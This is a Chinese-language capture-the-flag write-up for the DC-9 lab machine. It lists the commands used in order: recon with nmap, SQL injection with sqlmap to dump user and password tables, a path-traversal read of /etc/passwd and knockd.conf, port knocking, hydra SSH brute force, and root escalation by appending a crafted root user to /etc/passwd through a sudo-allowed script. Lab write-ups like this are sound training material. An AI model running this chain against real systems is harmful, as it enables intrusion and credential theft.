DC-9 writeup

DC-9渗透过程（kali IP:192.168.229.132 靶机IP:192.168.229.157）

**一.信息收集**
nmap -sP 192.168.229.0/24
nmap -sV -p- 192.168.229.157
dirsearch -u 192.168.229.157 -e * -x 403,404
whatweb 192.168.229.157
//22端口不是开放状态 收集信息：语言：PHP 中间件：apache 2.4.38 操作系统：Debian

**二.漏洞查找与利用**
sqlmap -r sqlmap.txt --dbs --batch    //search这个页面很像有sql注入，抓个包来看看发现search参数存在联合查询注入
sqlmap -r sqlmap.txt --tables -D users --batch
sqlmap -r sqlmap.txt --columns -T UserDetails -D users --batch
sqlmap -r sqlmap.txt --dump -C username,password -T UserDetails -D users --batch    //得到一堆用户密码但不能登录进去，再看看另一个数据库
sqlmap -r sqlmap.txt --tables -D Staff --batch
sqlmap -r sqlmap.txt --columns -T Users -D Staff --batch
sqlmap -r sqlmap --dump -T Usersqlmap -D Staff --batch    //得到用户名和加密密码，去网上解密得 用户名：admin 密码：transorbital1，登录进去看看发现就多了一个add record页面，观察发现有File does not exist，想到是程序引用或读取了一个不存在的文件才会回显这个，则有可能可以目录遍历
http://192.168.229.157/manage.php?§ §=../../../../../etc/passwd    //burp抓包，用fuzz里的参数字典爆破出为file，还发现这里的用户和开始sq爆破出来的一样，可能是主机用户的账号密码
http://192.168.229.157/manage.php?file=../../../../../etc/knockd.conf    //前面扫端口发现ssh协议端口不是开放状态，可能是开启了knock服务查看一下有无配置文件，还真有用nc“敲门”
nc -z 192.168.229.157 7469 8475 9842    //敲击完后发现端口打开
hydra -L teat -P teat1 192.168.229.157 ssh    //用匹配的密码不能登进去，尝试把他们当作字典爆破，果然得出三个账号密码，login: chandlerb   password: UrAG0D!    login: joeyt   password: Passw0rd    login: janitor   password: Ilovepeepee

**三.提权**
ssh chandlerb@192.168.229.157
ssh joeyt@192.168.229.157
ssh janitor@192.168.229.157    //远程连接，发现没有可用的suid，sudo也都没有命令
ls -a
cd .secrets-for-putin
cat passwords-found-on-post-it-notes.txt    //在jianitor用户家目录下找到，它隐藏起来了用 ls -a 才能看到，看到里面又有几个密码，添加到刚刚的字典里面，在爆破又得到一个账户密码 login: fredf   password: B4-Tru3-001
ssh fredf@192.168.229.157
sudo -l    //发现/opt/devstuff/dist/test/test可用以root命令执行
cd /opt/devstuff/dist/test    
cat test    //发现是乱码，则可能已经被编译了,在上级目录找找线索
cd ../../
ls
cat test.py
cat test.spec    //发现test脚本执行时要带两个参数，把第一个参数文件追加到第二个参数文件，则可用用这个脚本在/etc/passwd里添加一个root权限用户
cd /tmp
openssl passwd -1 -salt teat 123456    //用openssl命令创建一个密码，openssl passwd -1 -salt <用户名> <密码>
echo 'test:$1$teat$Q2Bt/ufty4kBOZet0211n0:0:0:test:/test:/bin/bash' > test
cd /opt/devstuff/dist/test
sudo ./test /tmp/test /etc/passwd
su test    //得到root权限
find / -name * flag.*
cat /root/theflag.txt